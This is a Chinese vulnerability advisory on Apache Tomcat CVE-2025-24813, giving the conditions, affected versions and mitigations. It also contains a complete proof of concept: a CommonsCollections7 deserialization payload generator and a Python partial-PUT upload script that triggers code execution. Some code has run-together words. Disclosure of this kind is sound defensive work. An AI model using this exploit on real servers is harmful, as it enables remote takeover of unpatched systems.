文章总结: ApacheTomcat远程代码执行漏洞CVE-2025-24813分析显示,当DefaultServlet启用写入、支持partialPUT且应用使用基于文件的会话持久化时,攻击者可注入恶意内容执行代码,影响版本涵盖9.0.0.M1至9.0.99等,建议立即升级至安全版本或禁用写入功能以缓解威胁。
综合评分: 89
文章分类: 漏洞分析,WEB安全,漏洞预警,应用安全,网络安全
高危漏洞预警:Apache Tomcat远程代码执行漏洞分析
SAINTSEC
2025年11月20日 11:01
在数字化时代,服务器的安全性是保障企业运营和用户数据安全的关键防线。然而,最近山石网科应急响应中心监测到一个严重的安全漏洞,Apache Tomcat的反序列化漏洞(CVE-2025-24813)可能导致远程代码执行。这意味着攻击者可以在未经许可的情况下,在服务器上执行恶意代码,从而对系统造成严重威胁。
一、漏洞描述
通过Apache Tomcat中可写的Default Servlet,“file.Name”(内部点)问题可导致远程代码执行或信息泄露,或向上传文件中添加恶意内容。
如果同时满足以下所有条件,恶意用户就能够查看安全敏感文件和/或将内容注入这些文件:
- Default Servlet 启用写入功能(默认情况下处于禁用状态)
- 支持partial PUT 操作(默认情况下处于启用状态)
- 安全敏感文件上传的目标 URL 是公共文件上传目标 URL 的子目录
- 攻击者知晓正在上传的安全敏感文件的名称
- 安全敏感文件也通过部分 PUT 操作上传
如果同时满足以下所有条件,恶意用户就能够执行远程代码:
- Default Servlet 启用写入功能(默认情况下处于禁用状态)
- 支持partial PUT操作(默认情况下处于启用状态)
- 应用程序使用基于文件的 Tomcat 会话持久化,且存储位置为默认值
- 应用程序包含一个可能在反序列化攻击中被利用的库
二、漏洞复现
**(一)
环境搭建**
tomcat: 9.0.98
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<projectxmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.codereview</groupId>
<artifactId>CVE-2025-24813</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.98</version>
</dependency>
<!-- 对应“应用程序包含一个可能在反序列化攻击中被利用的库” -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
/WEB-INF/web.xml:
<?xml version="1.0" encoding="UTF-8"?>
<web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<session-config>
<session-timeout>60</session-timeout><!-- 设置会话超时时间 -->
</session-config>
<!-- Default Servlet 启用写入功能(默认情况下处于禁用状态) -->
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
/META-INF/context.xml:
<!-- 应用程序使用基于文件的 Tomcat 会话持久化,且存储位置为默认值-->
<Context>
<ManagerclassName="org.apache.catalina.session.PersistentManager"
maxActiveSessions="-1"
minIdleSwap="0"
maxIdleSwap="0"
maxSwappedSessions="1000"
sessionDatabase="file"
storeOnCommit="true"
saveOnRestart="true">
<StoreclassName="org.apache.catalina.session.FileStore"/><!-- 不要指定存储会话的目录,使用默认目录 -->
</Manager>
</Context>
**(二)
测试**
生成payload:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.map.DefaultedMap;
import utils.reflection.Reflection;
import utils.serialization.Serialization;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
/**
* chain:
* java.util.Hashtable#readObject
* java.util.Hashtable#reconstitutionPut
* org.apache.commons.collections.map.AbstractMapDecorator#equals
* java.util.AbstractMap#equals
* org.apache.commons.collections.map.LazyMap#get
* org.apache.commons.collections.functors.ChainedTransformer#transform
* ...
*/
public classCommonsCollections7{
publicstaticvoidmain(String[] args)throws Exception {
CommonsCollections7 commonsCollections7 = new CommonsCollections7();
commonsCollections7.serialize();
}
publicvoidserialize()throws Exception {
String cmd = "calc ";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
newInvokerTransformer(
"getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke", new Class[]{Object.class, Object[].class}, newObject[]{null, new Object[0]}
),
new InvokerTransformer(
"exec", new Class[]{String.class}, newObject[]{cmd}
)
};
// 创建虚假的调用链
Transformer[] fakeTransformers = new Transformer[]{};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map abstractMapDec = DefaultedMap.defaultedMap(new HashMap<>(), "test");
Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
// hash 碰撞
abstractMapDec.put("yy", 1);
lazyMap.put("zz", 1);
Hashtable hashtable = new Hashtable<>();
hashtable.put(abstractMapDec, "AbstractMapDec");
hashtable.put(lazyMap, "lazy");
Reflection.setFieldValue(chainedTransformer, "iTransformers", transformers);
lazyMap.remove("yy");
Serialization.serialize("payload.bin", hashtable);
}
}
**(三)
利用脚本**
import os
import requests
import time
# payload路径
file_path = 'payload.bin'
total_size = os.path.getsize(file_path) # 获取文件大小(字节数)
with open(file_path, 'rb') as f:
payload = f.read()
# Content-Range 触发 "partial PUT"
headers = {
'Content-Range': f'bytes 0-{total_size - 1}/{total_size}', # 指示整个文件范围
'Content-Length': str(total_size), # 设置请求体的长度
}
baseurl = input("plese input the base url: ")
try:
# 上传恶意会话文件
session = requests.Session()
res = session.put(
url = f"{baseurl}/magic7/session",
headers = headers,
data = payload
)
time.sleep(4)
cookies = {
'JSESSIONID': '.magic7'# 设置 JSESSIONID Cookie
}
# 发送 GET 请求,反序列化".magic7.session"会话文件
requests.get(baseurl + "/index.jsp", cookies=cookies)
except Exception as e:
print(f"error: {e}") # 处理其他任何异常
**(四)
执行脚本**
成功弹出计算器:
与此同时,工作目录下出现恶意会话文件:
三、漏洞评级
CVE-2025-24813:严重
四、影响版本
- >= 11.0.0-M1, < 11.0.3
- >= 10.1.0-M1, < 10.1.35
- >= 9.0.0.M1, < 9.0.99
五、安全建议
建议用户升级到11.0.3、10.1.35或9.0.99版本,这些版本已修复该问题。
如果无法立即修补,建议采取以下措施:
(1)关闭default servlet的写入功能。
(2)关闭partial PUT功能。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:SAINTSEC 《高危漏洞预警:Apache Tomcat远程代码执行漏洞分析》